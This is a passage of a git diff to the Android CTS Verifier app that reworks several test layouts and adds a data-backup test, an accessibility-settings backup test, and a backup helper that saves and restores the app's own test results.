-                    android:text="@string/provisioning_byod_settings_button_text"
-                    android:layout_weight="1"/>
             <Button android:id="@+id/organization_info_set_button"
                     android:layout_width="0dp"
                     android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/positive_device_owner.xml b/apps/CtsVerifier/res/layout/positive_device_owner.xml
index 8af9e09..fa437de 100644
--- a/apps/CtsVerifier/res/layout/positive_device_owner.xml
+++ b/apps/CtsVerifier/res/layout/positive_device_owner.xml
@@ -13,31 +13,38 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
+    style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
->
-  <ScrollView
-      android:layout_width="match_parent"
-      android:layout_height="320dip"
-      android:layout_weight="2">
-    <TextView
-        android:id="@+id/positive_device_owner_instructions"
+    android:orientation="vertical">
+
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:padding="10dip"
-        android:text="@string/device_owner_positive_tests_instructions"
-        android:textSize="18dip" />
-  </ScrollView>
-  <Button
-      android:id="@+id/set_device_owner_button"
-      android:layout_width="204dip"
-      android:layout_height="wrap_content"
-      android:text="@string/set_device_owner_button_label" />
-  <ListView
-      android:id="@+id/android:list"
-      android:layout_width="match_parent"
-      android:layout_height="wrap_content"
-      android:layout_weight="3" />
-  <include layout="@layout/pass_fail_buttons" />
-</LinearLayout>
+        android:layout_height="match_parent">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+
+            <TextView
+                android:id="@+id/positive_device_owner_instructions"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/device_owner_positive_tests_instructions"
+                android:textSize="18dip" />
+
+            <Button
+                android:id="@+id/set_device_owner_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/set_device_owner_button_label" />
+
+            <ListView
+                android:id="@+id/android:list"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content" />
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/provisioning_byod.xml b/apps/CtsVerifier/res/layout/provisioning_byod.xml
index 54b5121..227d8d8 100644
--- a/apps/CtsVerifier/res/layout/provisioning_byod.xml
+++ b/apps/CtsVerifier/res/layout/provisioning_byod.xml
@@ -1,12 +1,8 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
-
+<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
      You may obtain a copy of the License at
-
           http://www.apache.org/licenses/LICENSE-2.0
-
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@@ -14,34 +10,28 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        >
-
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
     <ScrollView
-            android:layout_width="match_parent"
-            android:layout_height="150dp"
-            android:layout_weight="2">
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="2">
         <TextView
-                android:id="@+id/test_instructions"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:padding="10dip"
-                android:textSize="18dip" />
+            android:id="@+id/test_instructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:padding="10dip"
+            android:textSize="18dip"/>
     </ScrollView>
-
     <Button
         android:id="@+id/prepare_test_button"
-        android:layout_width="204dp"
-        android:layout_height="wrap_content" />
-
+        android:layout_width="204dip"
+        android:layout_height="wrap_content"/>
     <ListView
         android:id="@+id/android:list"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:layout_weight="3" />
-
-    <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
\ No newline at end of file
+        android:layout_weight="3"/>
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml b/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
index 31cedb2..b83388b 100644
--- a/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
+++ b/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
@@ -12,34 +12,39 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <LinearLayout
+
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical">
-
-        <TextView
-            android:id="@+id/requesting_bugreport_device_owner_instructions"
+        android:layout_height="match_parent">
+        <LinearLayout
             android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/device_owner_requesting_bugreport_tests_info"
-            android:textSize="18dip" />
+            android:layout_height="match_parent"
+            android:orientation="vertical">
 
-        <Button
-            android:id="@+id/set_device_owner_button"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/set_device_owner_button_label" />
+            <TextView
+                android:id="@+id/requesting_bugreport_device_owner_instructions"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/device_owner_requesting_bugreport_tests_info"
+                android:textSize="18dip" />
 
-        <ListView
-            android:id="@+id/android:list"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content" />
+            <Button
+                android:id="@+id/set_device_owner_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/set_device_owner_button_label" />
 
-        <include layout="@layout/pass_fail_buttons" />
-    </LinearLayout>
-</ScrollView>
+            <ListView
+                android:id="@+id/android:list"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content" />
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/values-watch/strings.xml b/apps/CtsVerifier/res/values-watch/strings.xml
index d2106ee..1f25b04 100644
--- a/apps/CtsVerifier/res/values-watch/strings.xml
+++ b/apps/CtsVerifier/res/values-watch/strings.xml
@@ -19,16 +19,4 @@
         <item>com.android.cts.verifier.notifications.NotificationAttentionManagementVerifierActivity</item>
         <item>com.android.cts.verifier.notifications.NotificationListenerVerifierActivity</item>
     </string-array>
-
-    <string name="device_owner_device_admin_visible_info">
-        Please press the Go button to open Settings, navigate to:\n
-          1. Personalization\n
-          2. Device administration\n
-        Confirm that:\n
-        \n
-        - \"CTS Verifier\" exists and is activated.\n
-        - \"CTS Verifier\" cannot be disabled.\n
-        \n
-        Swipe left to return to this page.
-    </string>
 </resources>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index c99b683..e49fb8f 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -64,6 +64,71 @@
     <string name="bu_generate_error">Error occurred while generating test data...</string>
     <string name="bu_settings">Settings</string>
 
+    <!-- Strings for BackupTestActivity -->
+    <string name="backup_test">Data Backup Test</string>
+    <string name="backup_info">This test checks that data backup and automatic restore works
+        properly. The test activity lists some preferences and files that are backed up and
+        restored by the CTS Verifier. If backup and restore is working properly, these values
+        should be restored after running the backup manager, uninstalling the app, and reinstalling
+        the CTS Verifier.
+        \n\nPress the \"Generate Test Data\" to populate these values
+        and then follow the on screen instructions to finish the test.
+    </string>
+    <string name="bu_generate">Generate Test Data</string>
+    <string name="bu_preferences">Preferences</string>
+    <string name="bu_files">Files</string>
+    <string name="bu_instructions">Random values for the preferences and files have been saved.
+        \n\nFollow the instructions below to check that the data backup and restore works:
+        \n\n1. Make sure backup and automatic restore are enabled in settings. Depending on the
+        backup transport supported by the device you may need to do additional steps. For instance
+        you may need to set a Google account as the backup account for the device. If you cannot
+        find the corresponding setting options on your device, run \"adb shell bmgr enable true\"
+        to enable the backup manager. You can check its status by executing \"adb shell bmgr
+        enabled\".
+        \n\n2. Run the backup manager: adb shell bmgr run
+        \n\n3. Uninstall the program: adb uninstall com.android.cts.verifier
+        \n\n4. Reinstall the CTS Verifier and verify that the values are still the same.
+    </string>
+
+    <!-- Strings for BackupAccessibilityTestActivity -->
+    <string name="backup_accessibility_test">Backup Accessibility Settings Test</string>
+    <string name="backup_accessibility_info">This test checks that data backup and automatic restore
+        of Accessibility-related settings works properly. If backup and restore is working properly,
+        these values should be restored after running the backup manager, removing your Google
+        account, changing the accessibility settings values, and re-adding your Google account.
+        \n\nPress \"Generate Test Data\" to generate test values for accessibility settings and then
+        follow the on screen instructions to finish the test.
+    </string>
+    <string name="bua_settings">General Accessibility Settings</string>
+    <string name="bua_settings_color_correction">Color Correction Settings</string>
+    <string name="bua_settings_accessibility_services">Accessibility Service Settings</string>
+    <string name="bua_settings_captions">Captions Settings</string>
+    <string name="bua_settings_tts">TTS Settings</string>
+    <string name="bua_settings_system">Other System Settings</string>
+    <string name="bua_instructions">You will need two devices for this test.
+        \n\nFollow the instructions below to check that the data backup and restore of
+        accessibility-related settings works properly:
+        \n\n1. Make sure backup and automatic restore are enabled in settings. If you cannot find
+        the corresponding setting options on your device, run \"adb shell bmgr enable true\" to
+        enable the backup manager. You can check its status by executing \"adb shell bmgr enabled\".
+        You will also need to set a Google account as the backup account for the device.
+        \n\n2. Press \"Read Current Values\" and note the default values for the listed settings.
+        Values that are either \"0\" or \"null\" will appear in green. Note: Some default values are
+        neither \"0\", nor \"null\", so you still need to pay attention to the default setting
+        values that are not highlighted.
+        \n\n3. Change the values of the listed settings to something other than their default value.
+        \n\n4. Return to the CtsVerifier and press \"Read Current Values\". Make sure that you have
+        changed all of the settings.
+        \n\n5. Run the backup manager: adb shell bmgr run
+        \n\n6. Factory reset data on the second device. While going through the Setup Wizard,
+        restore all data from the account on your first device. When prompted, choose to restore all
+        settings from your first device.
+        \n\n7. Install CtsVerifier on your new device and make sure that the values read on the
+        second device match the values on your first device.
+    </string>
+    <string name="bua_show_instructions">Show Instructions</string>
+    <string name="bua_read_settings">Read Current Values</string>
+
     <!-- Strings for Device Administration tests -->
     <string name="da_policy_serialization_test">Policy Serialization Test</string>
     <string name="da_policy_serialization_info">This test checks that a device policy is properly
@@ -1994,23 +2059,18 @@
     </string>
 
     <string name="provisioning_byod_organization_info">Organization Info</string>
-    <string name="provisioning_byod_settings_button_text">Settings</string>
     <string name="provisioning_byod_organization_name_hint">Name</string>
     <string name="provisioning_byod_organization_color_hint">#FF00FF</string>
     <string name="provisioning_byod_set_organization_info_button_text">Set</string>
     <string name="provisioning_byod_organization_info_instructions">
-    This test verifies that the Organization Info was set correctly.\n
-        1. Press the Settings button.\n
-        2. Select separate lock for work profile (e.g. pattern).
-        To do that you may need to disable using one lock in security settings.\n
-        3. Return to CTS verifier using recents.\n
-        4. Enter your organization name.\n
-        5. Enter a valid color code.\n
-        6. Press the Set button to set organization Info.\n
-        7. Dissmiss the lockscreen by entering previously selected lock and return to CTS Verifier using recents.\n
-        8. Press the Go button to open a dialog to confirm work credentials.\n
-        9. Verify that the background color of the resulting dialog is as set by you.\n
-        10. Verify that the header text has organization name as set by you.\n
+    This test verifies that the Organization Info was set correctly.
+    You can only do this test after you have done "select work lock" test.\n
+        1. Enter your organization name.\n
+        2. Enter a valid color code.\n
+        3. Press the Set button to set organization Info.\n
+        4. Press the Go button to open a dialog to confirm work credentials.\n
+        5. Verify that the background color of the resulting dialog is as set by you.\n
+        6. Verify that the header text has organization name as set by you.\n
     </string>
     <string name="provisioning_byod_parent_profile_password">Personal password test</string>
     <string name="provisioning_byod_parent_profile_password_description">
diff --git a/apps/CtsVerifier/res/values/styles.xml b/apps/CtsVerifier/res/values/styles.xml
index a2e8c5e..fa82169 100644
--- a/apps/CtsVerifier/res/values/styles.xml
+++ b/apps/CtsVerifier/res/values/styles.xml
@@ -10,5 +10,12 @@
         <item name="android:textSize">18sp</item>
         <item name="android:padding">5dp</item>
     </style>
-    <style name="RootLayoutPadding"/>
+    <style name="RootLayoutPadding">
+      <item name="android:paddingEnd">?android:attr/listPreferredItemPaddingEnd</item>
+      <item name="android:paddingBottom">?android:attr/dialogPreferredPadding</item>
+      <item name="android:paddingLeft">?android:attr/listPreferredItemPaddingLeft</item>
+      <item name="android:paddingRight">?android:attr/listPreferredItemPaddingRight</item>
+      <item name="android:paddingStart">?android:attr/listPreferredItemPaddingStart</item>
+      <item name="android:paddingTop">?android:attr/dialogPreferredPadding</item>
+    </style>
 </resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
index 1e83087..aa6eaba 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
@@ -21,10 +21,12 @@
 import android.content.Context;
 import android.content.DialogInterface;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
 import android.util.Log;
 import android.view.LayoutInflater;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
@@ -49,6 +51,7 @@
     private final int mInstructionsStringId;
 
     protected Button mPrepareTestButton;
+    protected ListView mTestFeaturesList;
 
     protected int mCurrentTestPosition;
 
@@ -85,15 +88,31 @@
 
         mCurrentTestPosition = 0;
 
-        TextView instructionTextView = (TextView)findViewById(R.id.test_instructions);
+        TextView instructionTextView = (TextView) findViewById(R.id.test_instructions);
         instructionTextView.setText(mInstructionsStringId);
-        mPrepareTestButton = (Button)findViewById(R.id.prepare_test_button);
+        mPrepareTestButton = (Button) findViewById(R.id.prepare_test_button);
+        mTestFeaturesList = (ListView) findViewById(android.R.id.list);
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            mTestFeaturesList.setOnTouchListener((View v, MotionEvent e) -> {
+                switch (e.getAction()) {
+                    case MotionEvent.ACTION_DOWN:
+                        v.getParent().requestDisallowInterceptTouchEvent(true);
+                        break;
+                    case MotionEvent.ACTION_UP:
+                        v.getParent().requestDisallowInterceptTouchEvent(false);
+                        break;
+                    default:
+                }
+                return false;
+            });
+        }
     }
 
     /**
      * Subclasses must add their tests items to the provided adapter(usually instances of
      * {@link DialogTestListItem} or {@link DialogTestListItemWithIcon} but any class deriving from
      * {@link TestListAdapter.TestListItem} will do).
+     *
      * @param adapter The adapter to add test items to.
      */
     protected abstract void setupTests(ArrayTestListAdapter adapter);
@@ -165,7 +184,7 @@
                 .getItem(position);
         if (test instanceof DialogTestListItem) {
             mCurrentTestPosition = position;
-            ((DialogTestListItem)test).performTest(this);
+            ((DialogTestListItem) test).performTest(this);
         } else {
             try {
                 super.handleItemClick(l, v, position, id);
@@ -180,6 +199,7 @@
 
     /**
      * Start a test's manual intent
+     *
      * @param test The test the manual intent of which is to be started.
      * @return true if activity could be started successfully, false otherwise.
      */
@@ -227,6 +247,7 @@
 
         public interface TestCallback {
             void onPass();
+
             void onFail();
         }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java
new file mode 100644
index 0000000..2527d57
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier;
+
+import com.android.cts.verifier.backup.BackupTestActivity;
+
+import android.app.backup.BackupDataInputStream;
+import android.app.backup.BackupDataOutput;
+import android.app.backup.BackupHelper;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+
+/** {@link BackupHelper} for the test results database. */
+class TestResultsBackupHelper implements BackupHelper {
+
+    private static final String TAG = TestResultsBackupHelper.class.getSimpleName();
+
+    private static final String DB_BACKUP_KEY = "db";
+
+    private final Context mContext;
+
+    TestResultsBackupHelper(Context context) {
+        mContext = context;
+    }
+
+    @Override
+    public void performBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+            ParcelFileDescriptor newState) {
+        ContentResolver resolver = mContext.getContentResolver();
+        Cursor cursor = null;
+        try {
+            cursor = resolver.query(TestResultsProvider.getResultContentUri(mContext),
+                    null, null, null, null);
+            int nameIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_NAME);
+            int resultIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_RESULT);
+            int infoSeenIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_INFO_SEEN);
+            int detailsIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_DETAILS);
+            int metricsIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_METRICS);
+
+            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
+            DataOutputStream dataOutput = new DataOutputStream(byteOutput);
+
+            dataOutput.writeInt(cursor.getCount());
+            while (cursor.moveToNext()) {
+                String name = cursor.getString(nameIndex);
+                int result = cursor.getInt(resultIndex);
+                int infoSeen = cursor.getInt(infoSeenIndex);
+                String details = cursor.getString(detailsIndex);
+                byte[] metricsData = cursor.getBlob(metricsIndex);
+
+                dataOutput.writeUTF(name);
+                dataOutput.writeInt(result);
+                dataOutput.writeInt(infoSeen);
+                dataOutput.writeUTF(details != null ? details : "");
+                dataOutput.writeInt(metricsData.length);
+                if (metricsData.length > 0) {
+                    dataOutput.write(metricsData);
+                }
+            }
+
+            byte[] rawBytes = byteOutput.toByteArray();
+            data.writeEntityHeader(DB_BACKUP_KEY, rawBytes.length);
+            data.writeEntityData(rawBytes, rawBytes.length);
+        } catch (IOException e) {
+            Log.e(TAG, "Couldn't backup test results...", e);
+            failBackupTest();
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+    }
+
+    @Override
+    public void restoreEntity(BackupDataInputStream data) {
+        try {
+            if (DB_BACKUP_KEY.equals(data.getKey())) {
+                byte[] rawBytes = new byte[data.size()];
+                data.read(rawBytes, 0, data.size());
+
+                ByteArrayInputStream byteInput = new ByteArrayInputStream(rawBytes);
+                DataInputStream dataInput = new DataInputStream(byteInput);
+
+                int numRows = dataInput.readInt();
+                ContentValues[] values = new ContentValues[numRows];
+                for (int i = 0; i < numRows; i++) {
+                    String name = dataInput.readUTF();
+                    int result = dataInput.readInt();
+                    int infoSeen = dataInput.readInt();
+                    String details = dataInput.readUTF();
+                    int metricsDataSize = dataInput.readInt();
+
+                    values[i] = new ContentValues();
+                    values[i].put(TestResultsProvider.COLUMN_TEST_NAME, name);
+                    values[i].put(TestResultsProvider.COLUMN_TEST_RESULT, result);
+                    values[i].put(TestResultsProvider.COLUMN_TEST_INFO_SEEN, infoSeen);
+                    values[i].put(TestResultsProvider.COLUMN_TEST_DETAILS, details);
+
+                    if (metricsDataSize > 0) {
+                        byte[] metrics = new byte[metricsDataSize];
+                        dataInput.readFully(metrics);
+                        values[i].put(TestResultsProvider.COLUMN_TEST_METRICS, metrics);
+                    }
+                }
+
+                ContentResolver resolver = mContext.getContentResolver();
+                resolver.bulkInsert(TestResultsProvider.getResultContentUri(mContext), values);
+            } else {
+                Log.e(TAG, "Skipping key: " + data.getKey());
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "Couldn't restore test results...", e);
+            failBackupTest();
+        }
+    }
+
+    private void failBackupTest() {
+        TestResultsProvider.setTestResult(mContext, BackupTestActivity.class.getName(),
+                TestResult.TEST_RESULT_FAILED, null /*testDetails*/, null /*testMetrics*/);
+    }
+
+    @Override
+    public void writeNewStateDescription(ParcelFileDescriptor newState) {
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java b/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java
new file mode 100644
index 0000000..3c980b9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier;
+
+import com.android.cts.verifier.backup.BackupTestActivity;
+
+import android.app.backup.BackupAgentHelper;
+
+public class VerifierBackupAgent extends BackupAgentHelper {
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        addHelper("test-results", new TestResultsBackupHelper(this));
+        addHelper("backup-test-prefs", BackupTestActivity.getSharedPreferencesBackupHelper(this));
+        addHelper("backup-test-files", BackupTestActivity.getFileBackupHelper(this));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java
new file mode 100644
index 0000000..157a71c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java
@@ -0,0 +1,342 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.backup;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.backup.BackupManager;
+import android.app.backup.FileBackupHelper;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.graphics.Color;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.view.Window;
+import android.widget.BaseAdapter;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+import java.util.Scanner;
+
+/**
+ * Test for checking whether Accessibility Settings are being backed up properly. It lists the
+ * values of the accessibility preferences that should get backed up and restored after running the
+ * backup manager and reinstalling the CTS verifier.
+ */
+public class BackupAccessibilityTestActivity extends PassFailButtons.ListActivity {
+
+    private static final String TAG = BackupAccessibilityTestActivity.class.getSimpleName();
+
+    private static final int INSTRUCTIONS_DIALOG_ID = 1;
+
+    private static final List<String> ACCESSIBILITY_SETTINGS = new ArrayList();
+    private static final List<String> COLOR_CORRECTION_SETTINGS = new ArrayList();
+    private static final List<String> ACCESSIBILITY_SERVICE_SETTINGS = new ArrayList();
+    private static final List<String> CAPTIONS_SETTINGS = new ArrayList();
+    private static final List<String> TTS_SETTINGS = new ArrayList();
+    private static final List<String> SYSTEM_SETTINGS = new ArrayList();
+
+    static {
+        ACCESSIBILITY_SETTINGS.add("accessibility_display_magnification_enabled");
+        ACCESSIBILITY_SETTINGS.add("accessibility_autoclick_enabled");
+        ACCESSIBILITY_SETTINGS.add("accessibility_autoclick_delay");
+        ACCESSIBILITY_SETTINGS.add("high_text_contrast_enabled");
+        ACCESSIBILITY_SETTINGS.add("incall_power_button_behavior");
+        ACCESSIBILITY_SETTINGS.add(Settings.Secure.ACCESSIBILITY_SPEAK_PASSWORD);
+        ACCESSIBILITY_SETTINGS.add("accessibility_large_pointer_icon");
+        ACCESSIBILITY_SETTINGS.add("long_press_timeout");
+        ACCESSIBILITY_SETTINGS.add(Settings.Secure.ACCESSIBILITY_DISPLAY_INVERSION_ENABLED);
+
+        COLOR_CORRECTION_SETTINGS.add("accessibility_display_daltonizer");
+        COLOR_CORRECTION_SETTINGS.add("accessibility_display_daltonizer_enabled");
+
+        CAPTIONS_SETTINGS.add("accessibility_captioning_preset");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_enabled");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_locale");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_background_color");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_foreground_color");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_edge_type");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_edge_color");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_typeface");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_font_scale");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_window_color");
+
+        TTS_SETTINGS.add(Settings.Secure.TTS_DEFAULT_RATE);
+        TTS_SETTINGS.add("tts_default_locale");
+
+        ACCESSIBILITY_SERVICE_SETTINGS.add(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+        ACCESSIBILITY_SERVICE_SETTINGS.add("touch_exploration_granted_accessibility_services");
+        ACCESSIBILITY_SERVICE_SETTINGS.add(Settings.Secure.TOUCH_EXPLORATION_ENABLED);
+
+        SYSTEM_SETTINGS.add(Settings.System.FONT_SCALE);
+        SYSTEM_SETTINGS.add(Settings.System.STAY_ON_WHILE_PLUGGED_IN);
+        SYSTEM_SETTINGS.add(Settings.System.SCREEN_OFF_TIMEOUT);
+        SYSTEM_SETTINGS.add(Settings.System.SCREEN_BRIGHTNESS);
+        SYSTEM_SETTINGS.add(Settings.System.SCREEN_BRIGHTNESS_MODE);
+        SYSTEM_SETTINGS.add(Settings.System.TEXT_SHOW_PASSWORD);
+        SYSTEM_SETTINGS.add(Settings.System.HAPTIC_FEEDBACK_ENABLED);
+        SYSTEM_SETTINGS.add("power_sounds_enabled");
+        SYSTEM_SETTINGS.add("lockscreen_sounds_enabled");
+        SYSTEM_SETTINGS.add("pointer_speed");
+        SYSTEM_SETTINGS.add(Settings.System.VIBRATE_WHEN_RINGING);
+        SYSTEM_SETTINGS.add(Settings.System.ACCELEROMETER_ROTATION);
+    }
+
+    private BackupAdapter mAdapter;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
+        setContentView(R.layout.bua_main);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.backup_accessibility_test, R.string.backup_accessibility_info, 0);
+
+        mAdapter = new BackupAdapter(this);
+        setListAdapter(mAdapter);
+
+        new ReadCurrentSettingsValuesTask().execute();
+
+        findViewById(R.id.generate_button).setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                new ReadCurrentSettingsValuesTask().execute();
+            }
+        });
+
+        findViewById(R.id.show_instructions_button).setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                showDialog(INSTRUCTIONS_DIALOG_ID);
+            }
+        });
+    }
+
+    class ReadCurrentSettingsValuesTask extends AsyncTask<Void, Void, List<BackupItem>> {
+
+        @Override
+        protected void onPreExecute() {
+            super.onPreExecute();
+            setProgressBarIndeterminateVisibility(true);
+        }
+
+        @Override
+        protected List<BackupItem> doInBackground(Void... params) {
+            List<BackupItem> items = new ArrayList<BackupItem>();
+
+            items.add(new CategoryBackupItem(R.string.bua_settings));
+            addSecureSettings(items, ACCESSIBILITY_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_color_correction));
+            addSecureSettings(items, COLOR_CORRECTION_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_captions));
+            addSecureSettings(items, CAPTIONS_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_tts));
+            addSecureSettings(items, TTS_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_accessibility_services));
+            addSecureSettings(items, ACCESSIBILITY_SERVICE_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_system));
+            addSystemSettings(items, SYSTEM_SETTINGS);
+
+            return items;
+        }
+
+        private void addSecureSettings(List<BackupItem> items, List<String> settings) {
+            for (String setting : settings) {
+                String value = Settings.Secure.getString(getContentResolver(), setting);
